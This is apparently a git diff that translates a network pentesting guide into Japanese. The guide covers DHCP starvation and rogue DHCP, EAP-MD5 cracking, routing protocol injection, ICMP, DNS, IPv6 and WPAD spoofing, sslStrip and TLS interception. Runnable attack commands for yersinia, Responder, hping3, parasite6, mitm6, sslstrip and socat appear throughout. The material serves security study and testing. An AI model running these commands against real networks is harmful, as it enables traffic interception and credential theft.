+ツールを3番目のモードで実行するためのコマンドの例は次のとおりです: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` +### DHCP攻撃 -### DHCP Attacks - -#### Enumeration - +#### 列挙 ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -551,68 +487,61 @@ Pre-scan script results: |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` - **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ -This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. - -Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. +**DoSの2種類**は、DHCPサーバーに対して実行できます。最初のものは、**すべての可能なIPアドレスを使用するために十分な偽のホストをシミュレートする**ことです。\ +この攻撃は、DHCPサーバーの応答を確認し、プロトコルを完了できる場合にのみ機能します(**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例えば、これは**Wifiネットワークでは不可能です**。 +DHCP DoSを実行する別の方法は、**すべての可能なIPをソースコードとして使用してDHCP-RELEASEパケットを送信する**ことです。そうすると、サーバーは誰もIPの使用を終えたと考えます。 ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` +より自動的にこれを行う方法は、ツール [DHCPing](https://github.com/kamorin/DHCPig) を使用することです。 -A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig) +前述のDoS攻撃を使用して、クライアントが環境内で新しいリースを取得するよう強制し、正当なサーバーを枯渇させて応答しなくすることができます。したがって、正当なサーバーが再接続しようとすると、**次の攻撃で言及されている悪意のある値を提供できます**。 -You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**. +#### 悪意のある値を設定する -#### Set malicious values +不正なDHCPサーバーは、`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して設定できます。これは、トラフィックを悪意のあるサーバーにリダイレクトすることによって、HTTPトラフィックや認証情報をキャプチャするためのネットワーク攻撃に役立ちます。ただし、不正なゲートウェイを設定することはあまり効果的ではなく、クライアントからのアウトバウンドトラフィックのみをキャプチャし、実際のゲートウェイからの応答を見逃すことになります。代わりに、不正なDNSまたはWPADサーバーを設定することが、より効果的な攻撃のために推奨されます。 -A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack. +以下は、不正なDHCPサーバーを構成するためのコマンドオプションです: -Below are the command options for configuring the rogue DHCP server: - -- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway. -- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name. -- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway. -- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control. -- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP. -- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network. -- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface. -- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception. -- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address. -- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected. - -By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively. +- **私たちのIPアドレス(ゲートウェイ広告)**: `-i 10.0.0.100`を使用して、あなたのマシンのIPをゲートウェイとして広告します。 +- **ローカルDNSドメイン名**: 必要に応じて、`-d example.org`を使用してローカルDNSドメイン名を設定します。 +- **元のルーター/ゲートウェイIP**: `-r 10.0.0.1`を使用して、正当なルーターまたはゲートウェイのIPアドレスを指定します。 +- **プライマリDNSサーバーIP**: `-p 10.0.0.100`を使用して、あなたが制御する不正なDNSサーバーのIPアドレスを設定します。 +- **セカンダリDNSサーバーIP**: 必要に応じて、`-s 10.0.0.1`を使用してセカンダリDNSサーバーのIPを設定します。 +- **ローカルネットワークのネットマスク**: `-n 255.255.255.0`を使用して、ローカルネットワークのネットマスクを定義します。 +- **DHCPトラフィック用インターフェース**: `-I eth1`を使用して、特定のネットワークインターフェースでDHCPトラフィックをリッスンします。 +- **WPAD構成アドレス**: `-w “http://10.0.0.100/wpad.dat”`を使用して、ウェブトラフィックの傍受を支援するWPAD構成のアドレスを設定します。 +- **デフォルトゲートウェイIPを偽装**: `-S`を含めて、デフォルトゲートウェイのIPアドレスを偽装します。 +- **すべてのDHCPリクエストに応答**: `-R`を含めて、サーバーがすべてのDHCPリクエストに応答するようにしますが、これはノイジーで検出される可能性があることに注意してください。 +これらのオプションを正しく使用することで、不正なDHCPサーバーを効果的に設立し、ネットワークトラフィックを傍受することができます。 ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R ``` +### **EAP攻撃** -### **EAP Attacks** +802.1X実装に対して使用できる攻撃戦術のいくつかは次のとおりです: -Here are some of the attack tactics that can be used against 802.1X implementations: - -- Active brute-force password grinding via EAP -- Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) -- EAP message capture and offline password cracking (EAP-MD5 and PEAP) -- Forcing EAP-MD5 authentication to bypass TLS certificate validation -- Injecting malicious network traffic upon authenticating using a hub or similar - -If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +- EAPを介したアクティブなブルートフォースパスワードグラインディング +- 形式が不正なEAPコンテンツを使用してRADIUSサーバーを攻撃する _\*\*_(エクスプロイト) +- EAPメッセージのキャプチャとオフラインパスワードクラッキング(EAP-MD5およびPEAP) +- TLS証明書検証をバイパスするためにEAP-MD5認証を強制する +- ハブまたは類似のものを使用して認証時に悪意のあるネットワークトラフィックを注入する +攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5にダウングレードし、認証試行をキャプチャしようとすることができます。その後、次の方法でブルートフォース攻撃を行うことができます: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` +### FHRP (GLBP & HSRP) 攻撃 -### FHRP (GLBP & HSRP) Attacks +**FHRP** (First Hop Redundancy Protocol) は、**ホット冗長ルーティングシステムを作成するために設計されたネットワークプロトコルのクラス**です。FHRPを使用すると、物理ルーターを単一の論理デバイスに統合でき、耐障害性が向上し、負荷の分散が助けられます。 -**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. - -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.** +**Cisco Systemsのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。** {{#ref}} glbp-and-hsrp-attacks.md @@ -620,82 +549,73 @@ glbp-and-hsrp-attacks.md ### RIP -Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6. +ルーティング情報プロトコル (RIP) の3つのバージョンが存在します: RIP, RIPv2, およびRIPng。RIPとRIPv2は、UDPを使用してポート520経由でピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にデータグラムをブロードキャストします。MD5認証のサポートはRIPv2によって導入されました。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。 -- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520. -- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast. +- **RIPとRIPv2:** 通信はポート520のUDPデータグラムを介して行われます。 +- **RIPng:** IPv6マルチキャストを介してデータグラムをブロードキャストするためにUDPポート521を利用します。 -Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6. +RIPv2はMD5認証をサポートしている一方で、RIPngはネイティブ認証を含まず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。 -### EIGRP Attacks +### EIGRP 攻撃 -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** は動的ルーティングプロトコルです。**これは距離ベクトルプロトコルです。** **認証**がなく、パッシブインターフェースの設定がない場合、**侵入者**はEIGRPルーティングに干渉し、**ルーティングテーブルの中毒**を引き起こす可能性があります。さらに、EIGRPネットワーク(言い換えれば、自律システム)は**フラットで、ゾーンにセグメント化されていません**。**攻撃者がルートを注入**すると、そのルートは自律EIGRPシステム全体に**広がる**可能性があります。 -To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections. +EIGRPシステムを攻撃するには、**正当なEIGRPルーターとの隣接関係を確立する**必要があり、これにより基本的な偵察からさまざまな注入まで多くの可能性が開かれます。 -[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. +[**FRRouting**](https://frrouting.org/) は、**BGP、OSPF、EIGRP、RIPおよびその他のプロトコルをサポートする仮想ルーターを実装することを可能にします。** これを攻撃者のシステムに展開するだけで、実際にルーティングドメイン内の正当なルーターのふりをすることができます。 {{#ref}} eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations. +[**Coly**](https://code.google.com/p/coly/) は、EIGRP (Enhanced Interior Gateway Routing Protocol) ブロードキャストを傍受する機能を持っています。また、パケットの注入も可能で、これを利用してルーティング構成を変更できます。 ### OSPF -In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively. +Open Shortest Path First (OSPF) プロトコルでは、**MD5認証が一般的に使用され、ルーター間の安全な通信を確保します**。しかし、このセキュリティ対策は、LokiやJohn the Ripperのようなツールを使用して侵害される可能性があります。これらのツールはMD5ハッシュをキャプチャして解読することができ、認証キーを暴露します。このキーが取得されると、新しいルーティング情報を導入するために使用できます。ルートパラメータを設定し、侵害されたキーを確立するために、_Injection_ および _Connection_ タブがそれぞれ利用されます。 -- **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose. -- **Configuring Route Parameters:** This is done through the _Injection_ tab. -- **Setting the Compromised Key:** The key is configured under the _Connection_ tab. +- **MD5ハッシュのキャプチャと解読:** LokiやJohn the Ripperのようなツールがこの目的で使用されます。 +- **ルートパラメータの設定:** これは _Injection_ タブを通じて行われます。 +- **侵害されたキーの設定:** キーは _Connection_ タブで設定されます。 -### Other Generic Tools & Sources +### その他の一般的なツールとリソース -- [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities -- You can find some **more information about network attacks** [**here**](https://github.com/Sab0tag3d/MITM-cheatsheet). +- [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンし、脆弱性を見つけるためのツール +- **ネットワーク攻撃に関する** [**詳細情報**](https://github.com/Sab0tag3d/MITM-cheatsheet) を見つけることができます。 -## **Spoofing** - -The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. +## **スプーフィング** +攻撃者は、偽のDHCP応答を送信してネットワークの新しいメンバーのすべてのネットワークパラメータ (GW、IP、DNS) を設定します。 ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed ``` - ### ARP Spoofing -Check the [previous section](./#arp-spoofing). +[前のセクション](./#arp-spoofing)を確認してください。 ### ICMPRedirect -ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker. - +ICMP Redirectは、攻撃者がIPに到達する最良の方法であることを示すICMPパケットタイプ1コード5を送信することから成ります。次に、被害者がIPに連絡したい場合、攻撃者を通じてパケットを送信します。 ```bash Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] ``` - ### DNS Spoofing -The attacker will resolve some (or all) the domains that the victim ask for. - +攻撃者は、被害者が要求するいくつか(またはすべて)のドメインを解決します。 ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` - -**Configure own DNS with dnsmasq** - +**dnsmasqを使用して独自のDNSを構成する** ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` +### ローカルゲートウェイ -### Local Gateways - -Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. - +システムやネットワークへの複数のルートが存在することがよくあります。ローカルネットワーク内のMACアドレスのリストを作成したら、_gateway-finder.py_を使用してIPv4フォワーディングをサポートするホストを特定します。 ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -713,66 +633,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` +### [LLMNR、NBT-NS、およびmDNSのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +DNSルックアップが失敗した場合のローカルホスト解決のために、Microsoftシステムは**Link-Local Multicast Name Resolution (LLMNR)**および**NetBIOS Name Service (NBT-NS)**に依存しています。同様に、**Apple Bonjour**および**Linuxゼロコンフィギュレーション**の実装は、ネットワーク内のシステムを発見するために**Multicast DNS (mDNS)**を利用します。これらのプロトコルは認証されておらず、UDP上でメッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。 -For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services. +Responderを使用して、ホストによって検索されるサービスを偽装し、偽の応答を送信することができます。\ +[Responderを使用してサービスを偽装する方法についての詳細はこちらをお読みください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。 -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +### [WPADのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +ブラウザは一般的に**Web Proxy Auto-Discovery (WPAD)プロトコルを使用して自動的にプロキシ設定を取得します**。これは、特に「http://wpad.example.org/wpad.dat」のようなURLを介してサーバーから構成詳細を取得することを含みます。このサーバーの発見は、クライアントによってさまざまなメカニズムを通じて行われる可能性があります: -Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms: +- **DHCP**を介して、特別なコード252エントリを利用して発見が促進されます。 +- **DNS**によって、ローカルドメイン内で_wpad_というラベルの付いたホスト名を検索します。 +- **Microsoft LLMNRおよびNBT-NS**を介して、DNSルックアップが成功しない場合に使用されるフォールバックメカニズムです。 -- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry. -- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain. -- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed. +ツールResponderは、このプロトコルを利用して**悪意のあるWPADサーバー**として機能します。DHCP、DNS、LLMNR、およびNBT-NSを使用して、クライアントを誤導して接続させます。Responderを使用してサービスを偽装する方法についてさらに詳しくは、[こちらを確認してください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。 -The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +### [SSDPおよびUPnPデバイスのスプーフィング](spoofing-ssdp-and-upnp-devices.md) -### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) +ネットワーク内で異なるサービスを提供して、**ユーザーを騙してプレーンテキストの認証情報を入力させる**ことができます。**この攻撃に関する詳細は、[**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**をご覧ください。** -You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** - -### IPv6 Neighbor Spoofing - -This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker. +### IPv6隣接スプーフィング +この攻撃はARPスプーフィングに非常に似ていますが、IPv6の世界で行われます。被害者は、GWのIPv6が攻撃者のMACを持っていると考えることができます。 ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` +### IPv6ルーター広告のスプーフィング/フラッディング -### IPv6 Router Advertisement Spoofing/Flooding - -Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use: - +一部のOSは、ネットワーク内で送信されたRAパケットからデフォルトでゲートウェイを設定します。攻撃者をIPv6ルーターとして宣言するには、次のコマンドを使用できます: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` +### IPv6 DHCPスプーフィング -### IPv6 DHCP spoofing - -By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim. - +デフォルトでは、一部のOSはネットワーク内のDHCPv6パケットを読み取ってDNSを構成しようとします。これにより、攻撃者は自分自身をDNSとして構成するためにDHCPv6パケットを送信することができます。DHCPは被害者にIPv6も提供します。 ```bash dhcp6.spoof on dhcp6.spoof.domains mitm6 ``` +### HTTP (フェイクページとJSコードインジェクション) -### HTTP (fake page and JS code injection) - -## Internet Attacks +## インターネット攻撃 ### sslStrip -Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**. - +基本的にこの攻撃が行うことは、**ユーザー**が**HTTPS**バージョンに**リダイレクト**される**HTTP**ページに**アクセス**しようとした場合です。**sslStrip**は**クライアントとのHTTP接続**と**サーバーとのHTTPS接続**を**維持**するため、**プレーンテキスト**で接続を**スニッフィング**することができます。 ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -781,33 +693,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` - More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). -### sslStrip+ and dns2proxy for bypassing HSTS +### sslStrip+ と dns2proxy を使用した HSTS のバイパス -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +**sslStrip+ と dns2proxy** の **違い** は、**sslStrip** に対して、例えば _**www.facebook.com**_ を _**wwww.facebook.com**_ **にリダイレクト** し(**追加の** "**w**" に注意)、このドメインの **アドレスを攻撃者の IP** に設定することです。この方法で、**クライアント** は _**wwww.facebook.com**_ **(攻撃者)** に **接続** しますが、裏では **sslstrip+** が **www.facebook.com** との **実際の接続** を **維持** します。 -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ -Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. +この技術の **目的** は **HSTS を回避する** ことで、_**wwww**.facebook.com_ **は** ブラウザの **キャッシュ** に保存されないため、ブラウザは **HTTP での facebook 認証を実行するように騙されます**。\ +この攻撃を実行するには、被害者が最初に [http://www.faceook.com](http://www.faceook.com) にアクセスしなければならないことに注意してください。これは、http ページ内のリンクを変更することで実行できます。 More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** +**sslStrip または sslStrip+ はもう機能しません。これは、ブラウザに事前保存された HSTS ルールがあるためで、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPS 経由でアクセスします。また、事前保存されたルールや他の生成されたルールは、** [**`includeSubdomains`**](https://hstspreload.appspot.com) **フラグを使用することができるため、以前の _**wwww.facebook.com**_ の例は、_**facebook.com**_ が `includeSubdomains` で HSTS を使用しているため、もはや機能しません。** TODO: easy-creds, evilgrade, metasploit, factory -## TCP listen in port - +## ポートでの TCP リスン ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` +## TCP + SSL ポートでリッスン -## TCP + SSL listen in port - -#### Generate keys and self-signed certificate - +#### キーと自己署名証明書を生成する ``` FILENAME=server # Generate a public/private key pair: @@ -817,26 +725,20 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` - -#### Listen using certificate - +#### 証明書を使用してリッスンする ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` - -#### Listen using certificate and redirect to the hosts - +#### 証明書を使用してリッスンし、ホストにリダイレクトする ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` +時には、クライアントがCAが有効であることを確認すると、**CAによって署名された他のホスト名の証明書を提供する**ことができます。\ +もう一つの興味深いテストは、**要求されたホスト名の証明書を自己署名で提供する**ことです。 -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ -Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. - -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. +他にテストすることは、有効なCAではない有効な証明書で証明書に署名しようとすることです。または、有効な公開鍵を使用し、Diffie-Hellmanのようなアルゴリズムを強制的に使用し(実際の秘密鍵で何も復号化する必要がないもの)、クライアントが実際の秘密鍵のプローブ(ハッシュのような)を要求したときに、偽のプローブを送信し、クライアントがこれを確認しないことを期待します。 ## Bettercap - ```bash # Events events.stream off #Stop showing events @@ -862,47 +764,43 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` +### アクティブディスカバリーノート -### Active Discovery Notes +UDPパケットが要求されたポートを持たないデバイスに送信されると、ICMP(ポート到達不能)が送信されることに注意してください。 -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. +### **ARPディスカバリ** -### **ARP discover** +ARPパケットは、ネットワーク内で使用されているIPを発見するために使用されます。PCは各可能なIPアドレスにリクエストを送信し、使用されているものだけが応答します。 -ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. +### **mDNS(マルチキャストDNS)** -### **mDNS (multicast DNS)** +Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエストを送信します(X msごと)。このパケットを見るマシンは通常、このリクエストに応答します。その後、「services」に応答するマシンを検索します。 -Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". - -**Tools** +**ツール** - Avahi-browser (--all) - Bettercap (net.probe.mdns) - Responder -### **NBNS (NetBios Name Server)** +### **NBNS(NetBiosネームサーバー)** -Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Bettercapは、名前「CKAAAAAAAAAAAAAAAAAAAAAAAAAAA」を要求するパケットをポート137/UDPにブロードキャストします。 -### **SSDP (Simple Service Discovery Protocol)** +### **SSDP(シンプルサービスディスカバリープロトコル)** -Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). +Bettercapは、すべての種類のサービスを検索するSSDPパケットをブロードキャストします(UDPポート1900)。 -### **WSD (Web Service Discovery)** +### **WSD(ウェブサービスディスカバリー)** -Bettercap broadcast WSD packets searching for services (UDP Port 3702). +Bettercapは、サービスを検索するWSDパケットをブロードキャストします(UDPポート3702)。 -## References +## 参考文献 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- **Network Security Assessment: Know Your Network (3rd edition)** -- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** +- **ネットワークセキュリティ評価: ネットワークを知る(第3版)** +- **実践的IoTハッキング: IoT攻撃の決定版ガイド。著者: Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index 9dcab7fc1..6c22a5446 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ 